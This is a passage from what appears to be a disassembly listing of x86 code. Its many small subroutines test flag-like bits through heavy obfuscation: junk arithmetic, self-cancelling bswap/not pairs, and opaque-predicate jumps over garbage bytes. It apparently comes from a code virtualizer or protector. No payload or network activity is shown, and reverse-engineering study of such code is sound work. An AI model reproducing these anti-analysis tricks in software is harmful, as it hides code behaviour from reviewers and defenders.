--------------------------------------------------------------------------- movlps xmm4, qword ptr [esi] loc_49AE56: ; CODE XREF: sub_49ACF4+15Bj jz short loc_49AE51 loc_49AE58: ; CODE XREF: sub_49ACF4+159j jmp short loc_49AE51 ; --------------------------------------------------------------------------- loc_49AE5A: ; CODE XREF: sub_49ACF4:loc_49AE51j sub bl, 5 dec bl push eax dec bl dec bl and eax, 41h dec bl sub bl, 12h sub bl, 3 pop eax dec bl and al, bl mov edx, 1500h dec dh sub dh, 7 dec dh sub dh, 3 dec dh jo short loc_49AE90 jl short loc_49AE8E loc_49AE89: ; CODE XREF: sub_49ACF4:loc_49AE8Ej ; sub_49ACF4:loc_49AE90j jmp short loc_49AE92 ; --------------------------------------------------------------------------- movlps xmm4, qword ptr [esi] loc_49AE8E: ; CODE XREF: sub_49ACF4+193j jz short loc_49AE89 loc_49AE90: ; CODE XREF: sub_49ACF4+191j jmp short loc_49AE89 ; --------------------------------------------------------------------------- loc_49AE92: ; CODE XREF: sub_49ACF4:loc_49AE89j and ah, dh pop ebx pop edx neg eax sbb eax, eax inc eax pop ecx cmp ecx, eax jnz short loc_49AEA6 and eax, 0 inc eax jmp short loc_49AEA9 ; --------------------------------------------------------------------------- loc_49AEA6: ; CODE XREF: sub_49ACF4+8Fj ; sub_49ACF4+1AAj and eax, 0 loc_49AEA9: ; CODE XREF: sub_49ACF4+1B0j mov [ebp+var_C], eax mov ecx, dword_4ED41C xor ecx, dword_4ED420 shl ecx, 1 mov [ebp+var_8], ecx cmp [ebp+var_C], 0 jz short loc_49AECC mov edx, [ebp+var_8] or edx, 1 mov [ebp+var_8], edx loc_49AECC: ; CODE XREF: sub_49ACF4+1CDj mov eax, [ebp+var_8] push eax call off_4F1D74 add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_49ACF4 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_49AEE0 proc near ; DATA XREF: sub_4965D8+443o var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov eax, [ebp+arg_0] push eax call off_4F1DBC add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+var_4] push ecx bswap ecx not ecx push eax not eax mov eax, 80h xchg eax, ecx mov ecx, 1 xchg eax, ecx not eax pop eax not ecx pop ecx push edx mov dh, 12h dec dh dec dh not ecx dec dh dec dh dec dh dec dh bswap eax dec dh dec dh sub dh, 5 dec dh dec dh dec dh dec dh dec dh bswap eax and ah, dh mov dl, 9 dec dl dec dl dec dl dec dl not ecx dec dl dec dl dec dl dec dl dec dl add dl, 1 and al, dl not ah bswap eax bswap eax not ah pop edx mov [ebp+var_C], eax mov ecx, dword_4ED3EC xor ecx, dword_4ED3F0 shl ecx, 1 mov [ebp+var_8], ecx cmp [ebp+var_C], 0 jz short loc_49AF85 mov edx, [ebp+var_8] or edx, 1 mov [ebp+var_8], edx loc_49AF85: ; CODE XREF: sub_49AEE0+9Aj mov eax, [ebp+var_8] push eax call off_4F1D44 add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_49AEE0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_49AF99 proc near ; DATA XREF: sub_4965D8+D07o var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov eax, [ebp+arg_0] push eax call off_4F1D8C add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+var_4] push ebx mov ebx, 0FFFFh and eax, ebx push ecx mov ch, 2Ch sub ch, 1 sub ch, 20h dec ch dec ch sub ch, 4 dec ch sub ch, 3 dec ch and ah, ch mov cl, 0AEh sub cl, 2 dec cl dec cl sub cl, 6 not al bswap ecx not al bswap ecx dec cl dec cl sub cl, 10h dec cl dec cl add cl, 0Ch dec cl dec cl dec cl dec cl dec cl dec cl sub cl, 10h sub cl, 1 dec cl dec cl dec cl dec cl dec cl dec cl dec cl dec cl not ecx bswap eax not ecx bswap eax inc cl add cl, 2 and al, cl mov eax, eax pop ecx neg eax sbb eax, eax inc eax pop ebx push eax mov eax, [ebp+var_4] mov edx, 200h inc dh inc dh dec dh inc dh inc dh inc dh inc dh inc dh and eax, edx neg eax sbb eax, eax inc eax mov edx, eax pop eax xor ecx, ecx cmp eax, edx jo short loc_49B062 jl short loc_49B060 loc_49B05D: ; CODE XREF: sub_49AF99:loc_49B060j ; sub_49AF99:loc_49B062j jmp short loc_49B064 ; --------------------------------------------------------------------------- db 0C7h ; --------------------------------------------------------------------------- loc_49B060: ; CODE XREF: sub_49AF99+C2j jz short loc_49B05D loc_49B062: ; CODE XREF: sub_49AF99+C0j jmp short loc_49B05D ; --------------------------------------------------------------------------- loc_49B064: ; CODE XREF: sub_49AF99:loc_49B05Dj jnz short loc_49B06B and eax, 0 jmp short loc_49B06F ; --------------------------------------------------------------------------- loc_49B06B: ; CODE XREF: sub_49AF99:loc_49B064j and eax, 0 inc eax loc_49B06F: ; CODE XREF: sub_49AF99+D0j mov [ebp+var_C], eax mov ecx, dword_4ED3BC xor ecx, dword_4ED3C0 shl ecx, 1 mov [ebp+var_8], ecx cmp [ebp+var_C], 0 jz short loc_49B092 mov edx, [ebp+var_8] or edx, 1 mov [ebp+var_8], edx loc_49B092: ; CODE XREF: sub_49AF99+EEj mov eax, [ebp+var_8] push eax call off_4F1D14 add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_49AF99 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_49B0A6 proc near ; DATA XREF: sub_4965D8+1449o var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov eax, [ebp+arg_0] push eax call off_4F1DA4 add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+var_4] push edx mov edx, 0FFFFh and eax, edx push ebx push 0D00h pop ebx jo short loc_49B0DC jl short loc_49B0DA loc_49B0D5: ; CODE XREF: sub_49B0A6:loc_49B0DAj ; sub_49B0A6:loc_49B0DCj jmp short loc_49B0DE ; --------------------------------------------------------------------------- movlps xmm4, qword ptr [esi] loc_49B0DA: ; CODE XREF: sub_49B0A6+2Dj jz short loc_49B0D5 loc_49B0DC: ; CODE XREF: sub_49B0A6+2Bj jmp short loc_49B0D5 ; --------------------------------------------------------------------------- loc_49B0DE: ; CODE XREF: sub_49B0A6:loc_49B0D5j sub bh, 5 dec bh push eax dec bh dec bh and eax, 41h dec bh sub bh, 3 pop eax dec bh and ah, bh mov edx, 25h dec dl sub dl, 3 dec dl sub dl, 17h dec dl dec dl dec dl dec dl dec dl and al, dl pop ebx pop edx neg eax sbb eax, eax neg eax mov [ebp+var_C], eax mov ecx, dword_4ED3D4 xor ecx, dword_4ED3D8 shl ecx, 1 mov [ebp+var_8], ecx cmp [ebp+var_C], 0 jz short loc_49B13B mov edx, [ebp+var_8] or edx, 1 mov [ebp+var_8], edx loc_49B13B: ; CODE XREF: sub_49B0A6+8Aj mov eax, [ebp+var_8] push eax call off_4F1D2C add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_49B0A6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_49B14F proc near ; DATA XREF: sub_4965D8+94Fo var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov eax, [ebp+arg_0] push eax call off_4F1D78 add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+var_4] push edx mov edx, 0FFFFh and eax, edx push ebx push eax mov bh, 7 dec bh dec bh dec bh dec bh dec bh dec bh dec bh and eax, 800h bswap ecx pop eax bswap ecx and ah, bh mov bl, 87h sub bl, 5 dec bl dec bl dec bl dec bl dec bl dec bl dec bl sub bl, 1Ah dec bl sub bl, 1Fh not bx bswap eax not bx bswap eax and al, bl mov eax, eax pop ebx neg eax sbb eax, eax inc eax pop edx mov [ebp+var_C], eax mov ecx, dword_4ED3A8 xor ecx, dword_4ED3AC shl ecx, 1 mov [ebp+var_8], ecx cmp [ebp+var_C], 0 jz short loc_49B1E4 mov edx, [ebp+var_8] or edx, 1 mov [ebp+var_8], edx loc_49B1E4: ; CODE XREF: sub_49B14F+8Aj mov eax, [ebp+var_8] push eax call off_4F1D00 add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_49B14F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_49B1F8 proc near ; DATA XREF: sub_4965D8+C3Bo var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov eax, [ebp+arg_0] push eax call off_4F1DD0 add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+var_4] push edx mov edx, 0FFFFh and eax, edx push ebx push eax mov bh, 7 dec bh dec bh dec bh dec bh dec bh dec bh dec bh and eax, 800h bswap ecx pop eax bswap ecx and ah, bh mov bl, 98h sub bl, 5 dec bl dec bl dec bl dec bl dec bl dec bl dec bl sub bl, 0Ch not bx bswap eax not bx bswap eax and al, bl mov eax, eax pop ebx neg eax sbb eax, eax inc eax pop edx mov [ebp+var_C], eax mov ecx, dword_4ED400 xor ecx, dword_4ED404 shl ecx, 1 mov [ebp+var_8], ecx cmp [ebp+var_C], 0 jz short loc_49B288 mov edx, [ebp+var_8] or edx, 1 mov [ebp+var_8], edx loc_49B288: ; CODE XREF: sub_49B1F8+85j mov eax, [ebp+var_8] push eax call off_4F1D58 add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_49B1F8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_49B29C proc near ; DATA XREF: sub_4965D8+C24o var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov eax, [ebp+arg_0] push eax call off_4F1DBC add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+var_4] push ebx mov ebx, 80h jmp short loc_49B2C5 ; --------------------------------------------------------------------------- mov ebx, 4 loc_49B2C5: ; CODE XREF: sub_49B29C+22j mov ebx, 32h not ebx bswap eax not ebx inc ebx inc ebx inc ebx add ebx, 8 dec ebx push ecx mov ecx, 4 add ebx, ecx inc ebx pop ecx bswap eax and eax, ebx pop ebx neg eax sbb eax, eax inc eax mov [ebp+var_C], eax mov ecx, dword_4ED3EC xor ecx, dword_4ED3F0 shl ecx, 1 mov [ebp+var_8], ecx cmp [ebp+var_C], 0 jz short loc_49B30E mov edx, [ebp+var_8] or edx, 1 mov [ebp+var_8], edx loc_49B30E: ; CODE XREF: sub_49B29C+67j mov eax, [ebp+var_8] push eax call off_4F1D44 add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_49B29C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_49B322 proc near ; DATA XREF: sub_4965D8+8B0o var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov eax, [ebp+arg_0] push eax call off_4F1DB0 add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+var_4] push edx mov edx, 0FFFFh and eax, edx push ebx push eax mov bh, 7 dec bh dec bh dec bh dec bh dec bh dec bh dec bh and eax, 800h bswap ecx pop eax bswap ecx and ah, bh mov bl, 86h sub bl, 5 dec bl dec bl dec bl dec bl dec bl dec bl dec bl sub bl, 1Ah dec bl sub bl, 1Fh not bx bswap eax not bx bswap eax and al, bl mov eax, eax test eax, eax jnz loc_49B446 pop ebx pop edx mov eax, [ebp+var_4] push edx mov edx, 0FFFFh and eax, edx push ebx push eax mov bh, 7 dec bh dec bh dec bh dec bh dec bh dec bh dec bh and eax, 800h bswap ecx pop eax bswap ecx and ah, bh mov bl, 98h sub bl, 5 dec bl dec bl dec bl dec bl dec bl dec bl dec bl sub bl, 0Ch not bx bswap eax not bx bswap eax and al, bl mov eax, eax pop ebx neg eax sbb eax, eax inc eax pop edx mov ecx, eax push ecx mov eax, [ebp+var_4] push edx mov edx, 0FFFFh and eax, edx push ebx push 0Dh pop ebx jo short loc_49B408 jl short loc_49B406 loc_49B401: ; CODE XREF: sub_49B322:loc_49B406j ; sub_49B322:loc_49B408j jmp short loc_49B40A ; --------------------------------------------------------------------------- movlps xmm4, qword ptr [esi] loc_49B406: ; CODE XREF: sub_49B322+DDj jz short loc_49B401 loc_49B408: ; CODE XREF: sub_49B322+DBj jmp short loc_49B401 ; --------------------------------------------------------------------------- loc_49B40A: ; CODE XREF: sub_49B322:loc_49B401j sub bl, 5 dec bl push eax dec bl dec bl and eax, 41h dec bl sub bl, 3 pop eax dec bl and al, bl mov edx, 2500h dec dh sub dh, 3 dec dh sub dh, 17h dec dh and ah, dh pop ebx pop edx neg eax sbb eax, eax inc eax pop ecx cmp ecx, eax jnz short loc_49B446 and eax, 0 inc eax jmp short loc_49B449 ; --------------------------------------------------------------------------- loc_49B446: ; CODE XREF: sub_49B322+6Dj ; sub_49B322+11Cj and eax, 0 loc_49B449: ; CODE XREF: sub_49B322+122j mov [ebp+var_C], eax mov ecx, dword_4ED3E0 xor ecx, dword_4ED3E4 shl ecx, 1 mov [ebp+var_8], ecx cmp [ebp+var_C], 0 jz short loc_49B46C mov edx, [ebp+var_8] or edx, 1 mov [ebp+var_8], edx loc_49B46C: ; CODE XREF: sub_49B322+13Fj mov eax, [ebp+var_8] push eax call off_4F1D38 add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_49B322 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_49B480 proc near ; DATA XREF: sub_4965D8+3FFo var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov eax, [ebp+arg_0] push eax call off_4F1DEC add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+var_4] push edx mov dh, 2 sub dh, 0FFh dec dh sub dh, 0FFh dec dh sub dh, 0FFh sub dh, 1 sub dh, 1 dec dh and ah, dh mov edx, 800h mov dl, 0Fh sub dl, 0FFh sub dl, 0FFh sub dl, 0FFh sub dl, 0Ah sub dl, 0FFh sub dl, 0FFh sub dl, 5 dec dl dec dl dec dl dec dl dec dl dec dl sub dl, 0FFh dec dl inc dl inc dl and al, dl not ah not ah pop edx mov [ebp+var_C], eax mov ecx, dword_4ED41C xor ecx, dword_4ED420 shl ecx, 1 mov [ebp+var_8], ecx cmp [ebp+var_C], 0 jz short loc_49B511 mov edx, [ebp+var_8] or edx, 1 mov [ebp+var_8], edx loc_49B511: ; CODE XREF: sub_49B480+86j mov eax, [ebp+var_8] push eax call off_4F1D74 add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_49B480 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_49B525 proc near ; DATA XREF: sub_4965D8+163Co var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov eax, [ebp+arg_0] push eax call off_4F1DD8 add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+var_4] push eax mov eax, 4 bswap eax not eax pop eax push edx mov dh, 80h mov dh, 0 inc dh mov ecx, ecx inc dh inc dh inc dh inc dh push ebx inc dh push ecx bswap ecx not ecx push eax not eax mov eax, 800h xchg eax, ecx mov ecx, 40h xchg eax, ecx not eax pop eax not ecx pop ecx inc dh inc dh and ebx, 800h inc dh inc dh inc dh inc dh and ebx, 10h inc dh inc dh pop ebx sub dh, 0Dh dec dh and ah, dh mov dl, 5 sub dl, 0FFh dec dl dec dl dec dl sub dl, 0FFh dec dl dec dl dec dl and al, dl pop edx neg eax sbb eax, eax inc eax mov [ebp+var_C], eax mov ecx, dword_4ED408 xor ecx, dword_4ED40C shl ecx, 1 mov [ebp+var_8], ecx cmp [ebp+var_C], 0 jz short loc_49B5DA mov edx, [ebp+var_8] or edx, 1 mov [ebp+var_8], edx loc_49B5DA: ; CODE XREF: sub_49B525+AAj mov eax, [ebp+var_8] push eax call off_4F1D60 add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_49B525 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_49B5EE proc near ; DATA XREF: sub_4965D8+1213o var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov eax, [ebp+arg_0] push eax call off_4F1D9C add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+var_4] push edx mov edx, 0FFFFh and eax, edx push ebx push eax mov bh, 5 dec bh sub bh, 1 dec bh sub bh, 2 and eax, 80h bswap ecx pop eax bswap ecx and ah, bh mov bl, 0A1h dec bl dec esi dec bl sub bl, 0Eh dec bl dec bl dec bl dec edi dec bl dec bl sub bl, 0Fh dec bl dec bl dec edi sub bl, 1Ah dec bl sub bl, 1Fh not bx bswap eax not bx bswap eax and al, bl mov eax, eax pop ebx neg eax sbb eax, eax neg eax pop edx mov [ebp+var_C], eax mov ecx, dword_4ED3CC xor ecx, dword_4ED3D0 shl ecx, 1 mov [ebp+var_8], ecx cmp [ebp+var_C], 0 jz short loc_49B68A mov edx, [ebp+var_8] or edx, 1 mov [ebp+var_8], edx loc_49B68A: ; CODE XREF: sub_49B5EE+91j mov eax, [ebp+var_8] push eax call off_4F1D24 add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_49B5EE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_49B69E proc near ; DATA XREF: sub_4965D8+31Co var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov eax, [ebp+arg_0] push eax call off_4F1DD0 add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+var_4] push edx mov edx, 0FFFFh and eax, edx push ebx push eax mov bh, 7 dec bh dec bh dec bh dec bh dec bh dec bh dec bh and eax, 800h bswap ecx pop eax bswap ecx and ah, bh mov bl, 86h sub bl, 5 dec bl dec bl dec bl dec bl dec bl dec bl dec bl sub bl, 1Ah dec bl sub bl, 1Fh not bx bswap eax not bx bswap eax and al, bl mov eax, eax test eax, eax jnz loc_49B7C1 pop ebx pop edx mov eax, [ebp+var_4] push edx mov edx, 0FFFFh and eax, edx push ebx push eax mov bh, 7 dec bh dec bh dec bh dec bh dec bh dec bh dec bh and eax, 800h bswap ecx pop eax bswap ecx and ah, bh mov bl, 98h sub bl, 5 dec bl dec bl dec bl dec bl dec bl dec bl dec bl sub bl, 0Ch not bx bswap eax not bx bswap eax and al, bl mov eax, eax pop ebx neg eax sbb eax, eax inc eax pop edx mov ecx, eax push ecx mov eax, [ebp+var_4] push edx mov edx, 0FFFFh and eax, edx push ebx push 0Dh pop ebx jo short loc_49B784 jl short loc_49B782 loc_49B77D: ; CODE XREF: sub_49B69E:loc_49B782j ; sub_49B69E:loc_49B784j jmp short loc_49B786 ; --------------------------------------------------------------------------- movlps xmm4, qword ptr [esi] loc_49B782: ; CODE XREF: sub_49B69E+DDj jz short loc_49B77D loc_49B784: ; CODE XREF: sub_49B69E+DBj jmp short loc_49B77D ; --------------------------------------------------------------------------- loc_49B786: ; CODE XREF: sub_49B69E:loc_49B77Dj sub bl, 5 dec bl push eax dec bl dec bl and eax, 41h dec bl sub bl, 3 pop eax dec bl and al, bl mov edx, 2500h dec dh sub dh, 3 dec dh sub dh, 17h dec dh and ah, dh pop ebx pop edx neg eax sbb eax, eax inc eax pop ecx cmp ecx, eax jnz short loc_49B7C1 and eax, 0 jmp short loc_49B7C5 ; --------------------------------------------------------------------------- loc_49B7C1: ; CODE XREF: sub_49B69E+6Dj ; sub_49B69E+11Cj and eax, 0 inc eax loc_49B7C5: ; CODE XREF: sub_49B69E+121j mov [ebp+var_C], eax mov ecx, dword_4ED400 xor ecx, dword_4ED404 shl ecx, 1 mov [ebp+var_8], ecx cmp [ebp+var_C], 0 jz short loc_49B7E8 mov edx, [ebp+var_8] or edx, 1 mov [ebp+var_8], edx loc_49B7E8: ; CODE XREF: sub_49B69E+13Fj mov eax, [ebp+var_8] push eax call off_4F1D58 add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_49B69E endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_49B7FC proc near ; DATA XREF: sub_4965D8+C68o var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov eax, [ebp+arg_0] push eax call off_4F1D90 add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+var_4] push ebx mov ebx, 0FFFFh and eax, ebx push ecx push 4 pop ecx dec cl dec cl dec cl dec cl and al, cl mov bh, 0Fh and bl, 0 dec bh sub bh, 3 dec bh sub bh, 1 dec bh and ah, bh pop ecx pop ebx test eax, eax jz short loc_49B84F not eax add eax, 1 stc jmp short loc_49B855 ; --------------------------------------------------------------------------- loc_49B84F: ; CODE XREF: sub_49B7FC+49j not eax add eax, 1 clc loc_49B855: ; CODE XREF: sub_49B7FC+51j sbb eax, eax neg eax mov [ebp+var_C], eax mov ecx, dword_4ED3C0 xor ecx, dword_4ED3C4 shl ecx, 1 mov [ebp+var_8], ecx cmp [ebp+var_C], 0 jz short loc_49B87C mov edx, [ebp+var_8] or edx, 1 mov [ebp+var_8], edx loc_49B87C: ; CODE XREF: sub_49B7FC+75j mov eax, [ebp+var_8] push eax call off_4F1D18 add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_49B7FC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_49B890 proc near ; DATA XREF: sub_4965D8+157o var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov eax, [ebp+arg_0] push eax call off_4F1DC0 add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+var_4] jo short loc_49B8B5 jl short loc_49B8B3 loc_49B8B0: ; CODE XREF: sub_49B890:loc_49B8B3j ; sub_49B890:loc_49B8B5j jmp short loc_49B8B7 ; --------------------------------------------------------------------------- db 8Bh ; --------------------------------------------------------------------------- loc_49B8B3: ; CODE XREF: sub_49B890+1Ej jz short loc_49B8B0 loc_49B8B5: ; CODE XREF: sub_49B890+1Cj jmp short loc_49B8B0 ; --------------------------------------------------------------------------- loc_49B8B7: ; CODE XREF: sub_49B890:loc_49B8B0j push edx mov edx, 0FFFFh and eax, edx push ebx push eax mov bh, 9 dec bh dec bh dec bh dec bh dec bh dec bh dec bh dec bh dec bh and eax, 800h bswap ecx pop eax bswap ecx and ah, bh jo short loc_49B8EA jl short loc_49B8E8 loc_49B8E5: ; CODE XREF: sub_49B890:loc_49B8E8j ; sub_49B890:loc_49B8EAj jmp short loc_49B8EC ; --------------------------------------------------------------------------- db 0E8h ; --------------------------------------------------------------------------- loc_49B8E8: ; CODE XREF: sub_49B890+53j jz short loc_49B8E5 loc_49B8EA: ; CODE XREF: sub_49B890+51j jmp short loc_49B8E5 ; --------------------------------------------------------------------------- loc_49B8EC: ; CODE XREF: sub_49B890:loc_49B8E5j mov bl, 0C5h sub bl, 4 dec bl dec bl sub bl, 3 dec bl dec bl sub bl, 1Ah dec bl sub bl, 1Fh not bx bswap eax not bx bswap eax jo short loc_49B917 jl short loc_49B915 loc_49B912: ; CODE XREF: sub_49B890:loc_49B915j ; sub_49B890:loc_49B917j jmp short loc_49B919 ; --------------------------------------------------------------------------- db 8Bh ; --------------------------------------------------------------------------- loc_49B915: ; CODE XREF: sub_49B890+80j jz short loc_49B912 loc_49B917: ; CODE XREF: sub_49B890+7Ej jmp short loc_49B912 ; --------------------------------------------------------------------------- loc_49B919: ; CODE XREF: sub_49B890:loc_49B912j and al, bl mov eax, eax pop ebx neg eax sbb eax, eax neg eax pop edx mov [ebp+var_C], eax mov ecx, dword_4ED3F0 xor ecx, dword_4ED3F4 shl ecx, 1 mov [ebp+var_8], ecx cmp [ebp+var_C], 0 jz short loc_49B948 mov edx, [ebp+var_8] or edx, 1 mov [ebp+var_8], edx loc_49B948: ; CODE XREF: sub_49B890+ADj mov eax, [ebp+var_8] push eax call off_4F1D48 add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_49B890 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_49B95C proc near ; DATA XREF: sub_4965D8+7FBo var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov eax, [ebp+arg_0] push eax call off_4F1D98 add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+var_4] push ebx mov ebx, 0FFFFh and eax, ebx push ecx mov ch, 2Ch add ch, 0FFh sub ch, 20h dec ch dec ch sub ch, 4 dec ch sub ch, 3 dec ch and ah, ch mov cl, 0ADh dec cl dec cl dec cl sub cl, 6 not al bswap ecx not al bswap ecx dec cl sub cl, 11h dec cl add cl, 0Ch dec cl dec cl dec cl sub cl, 3 sub cl, 10h sub cl, 1 dec cl dec cl dec cl dec cl dec cl dec cl dec cl dec cl not ecx bswap eax not ecx bswap eax inc cl dec cl add cl, 2 and al, cl mov eax, eax pop ecx neg eax sbb eax, eax inc eax pop ebx push eax mov eax, [ebp+var_4] mov edx, 200h inc dh inc dh dec dh inc dh dec dh inc dh inc dh inc dh inc dh dec dh inc dh inc dh dec dh dec dh inc dh inc dh dec dh inc dh inc dh dec dh and eax, edx neg eax sbb eax, eax inc eax mov edx, eax pop eax xor ecx, ecx cmp eax, edx jo short loc_49BA37 jl short loc_49BA35 loc_49BA32: ; CODE XREF: sub_49B95C:loc_49BA35j ; sub_49B95C:loc_49BA37j jmp short loc_49BA39 ; --------------------------------------------------------------------------- db 0C7h ; --------------------------------------------------------------------------- loc_49BA35: ; CODE XREF: sub_49B95C+D4j jz short loc_49BA32 loc_49BA37: ; CODE XREF: sub_49B95C+D2j jmp short loc_49BA32 ; --------------------------------------------------------------------------- loc_49BA39: ; CODE XREF: sub_49B95C:loc_49BA32j jnz short loc_49BA40 and eax, 0 jmp short loc_49BA44 ; --------------------------------------------------------------------------- loc_49BA40: ; CODE XREF: sub_49B95C:loc_49BA39j and eax, 0 inc eax loc_49BA44: ; CODE XREF: sub_49B95C+E2j mov [ebp+var_C], eax mov ecx, dword_4ED3C8 xor ecx, dword_4ED3CC shl ecx, 1 mov [ebp+var_8], ecx cmp [ebp+var_C], 0 jz short loc_49BA67 mov edx, [ebp+var_8] or edx, 1 mov [ebp+var_8], edx loc_49BA67: ; CODE XREF: sub_49B95C+100j mov eax, [ebp+var_8] push eax call off_4F1D20 add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_49B95C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_49BA7B proc near ; DATA XREF: sub_4965D8+FF3o var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov eax, [ebp+arg_0] push eax call off_4F1DE0 add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+var_4] push ebx mov ebx, 0FFFFh and eax, ebx push ecx mov ch, 2Dh dec ch sub ch, 1 sub ch, 20h dec ch dec ch sub ch, 7 dec ch dec ch and ah, ch mov cl, 0BDh sub cl, 2 dec cl dec cl dec cl dec cl dec cl dec cl dec cl not cl bswap edx not cl bswap edx dec cl dec cl dec cl dec cl push eax dec cl dec cl sub cl, 12h dec cl dec cl sub cl, 3 dec cl and eax, 40h dec cl dec cl dec cl add cl, 0Eh dec cl dec cl and eax, 80h sub cl, 1Fh dec cl dec cl dec cl not ecx bswap eax not ecx bswap eax pop eax inc cl inc cl inc cl and al, cl mov eax, eax pop ecx neg eax sbb eax, eax inc eax pop ebx push eax mov eax, [ebp+var_4] mov edx, 0C00h sub dh, 1 dec dh dec dh dec dh and eax, edx neg eax sbb eax, eax inc eax mov edx, eax pop eax xor ecx, ecx cmp eax, edx setz cl mov al, cl mov [ebp+var_C], eax mov ecx, dword_4ED410 xor ecx, dword_4ED414 shl ecx, 1 mov [ebp+var_8], ecx cmp [ebp+var_C], 0 jz short loc_49BB6B mov edx, [ebp+var_8] or edx, 1 mov [ebp+var_8], edx loc_49BB6B: ; CODE XREF: sub_49BA7B+E5j mov eax, [ebp+var_8] push eax call off_4F1D68 add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_49BA7B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_49BB7F proc near ; DATA XREF: sub_4965D8+663o var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov eax, [ebp+arg_0] push eax call off_4F1DB8 add esp, 4 mov [ebp+var_4], eax mov eax, 